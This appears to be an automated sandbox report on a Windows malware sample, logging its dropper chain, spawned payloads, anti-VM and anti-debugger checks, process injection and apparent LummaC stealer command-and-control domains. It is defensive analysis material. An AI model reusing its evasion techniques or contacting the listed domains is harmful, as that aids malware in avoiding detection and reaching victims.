Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C80C2F rdtsc

0_2_04C80C2F

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1244	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1241	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1237	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1144	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1193	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017825001\bb54d38b96.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1344	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1344	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3180	Thread sleep count: 1244 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3180	Thread sleep time: -2489244s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2188	Thread sleep count: 1241 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2188	Thread sleep time: -2483241s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5288	Thread sleep count: 1237 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5288	Thread sleep time: -2475237s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2108	Thread sleep count: 280 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2108	Thread sleep time: -8400000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2924	Thread sleep count: 1144 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2924	Thread sleep time: -2289144s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1456	Thread sleep count: 1193 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1456	Thread sleep time: -2387193s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe TID: 6888	Thread sleep time: -32300s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe TID: 3900	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe TID: 5336	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe TID: 5212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe TID: 940	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\Public\Netstat\FuturreApp.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\Public\Netstat\FuturreApp.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6A273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		6_2_00B6A273
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7A537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		6_2_00B7A537

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B7C8D5 VirtualQuery,GetSystemInfo,

6_2_00B7C8D5

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000005.00000000.2292268592.0000000000BBD000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmp, 81c86993fb.exe, 00000009.00000002.2771699601.0000000000ACF000.00000040.00000001.01000000.00000012.sdmp, 954af05edd.exe, 0000000E.00000002.2910867458.0000000000EC6000.00000040.00000001.01000000.0000001A.sdmp, file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: VMware
Source: skotes.exe, 00000005.00000002.3000881304.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ZG6lu zrlXcKwpN 389HRpHN@\^q0Microsoft\|VMWare\|Virtual
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666665941.0000000000651000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694442257.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769953130.0000000000653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1
Source: skotes.exe, 00000005.00000002.3000881304.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3000881304.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3001152875.0000000005DE9000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.000000000060A000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666665941.0000000000651000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769953130.000000000060A000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694442257.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: YIFtngJ.exe, 00000006.00000003.2454470904.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q
Source: file.exe, 00000000.00000003.1755761520.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}r
Source: FuturreApp.exe, 00000007.00000002.2992005380.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla,l*
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll
Source: 977f9058dc.exe, 0000000D.00000003.2784769727.0000000006C21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlI%C
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\^q
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: YIFtngJ.exe, 00000006.00000003.2454470904.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\^q
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PAO9C WDS1AA53KD@\^q0VMware\|VIRTUAL\|A M I\|Xen
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: VMWare
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll@
Source: file.exe, skotes.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10754
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10793
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	API call chain: ExitProcess graph end node	graph_6-22565

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C80C2F rdtsc

0_2_04C80C2F

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B7DA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00B7DA75

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091652B mov eax, dword ptr fs:[00000030h]	0_2_0091652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091A302 mov eax, dword ptr fs:[00000030h]	0_2_0091A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A0A302 mov eax, dword ptr fs:[00000030h]	1_2_00A0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A0652B mov eax, dword ptr fs:[00000030h]	1_2_00A0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A0A302 mov eax, dword ptr fs:[00000030h]	5_2_00A0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A0652B mov eax, dword ptr fs:[00000030h]	5_2_00A0652B
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B84A5A mov eax, dword ptr fs:[00000030h]	6_2_00B84A5A

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B88AAA GetProcessHeap,

6_2_00B88AAA

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7DA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B7DA75
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7DBC3 SetUnhandledExceptionFilter,	6_2_00B7DBC3
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B85B53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B85B53
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7DD7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00B7DD7C

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe

Memory written: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: crosshuaht.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: sustainskelet.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: aspecteirs.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: energyaffai.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: necklacebudi.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: discokeyus.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: grannyejh.lat
Source: 81c86993fb.exe, 00000009.00000002.2771588757.00000000008F1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe "C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe "C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe "C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe "C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe "C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"

Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: 954af05edd.exe, 0000000E.00000002.2910867458.0000000000EC6000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: &vProgram Manager
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Shell_TrayWnd
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Progman
Source: 81c86993fb.exe, 00000009.00000002.2771699601.0000000000ACF000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: jLProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_009EDD91 cpuid

5_2_009EDD91

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

6_2_00B7932F

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe VolumeInformation	Jump to behavior
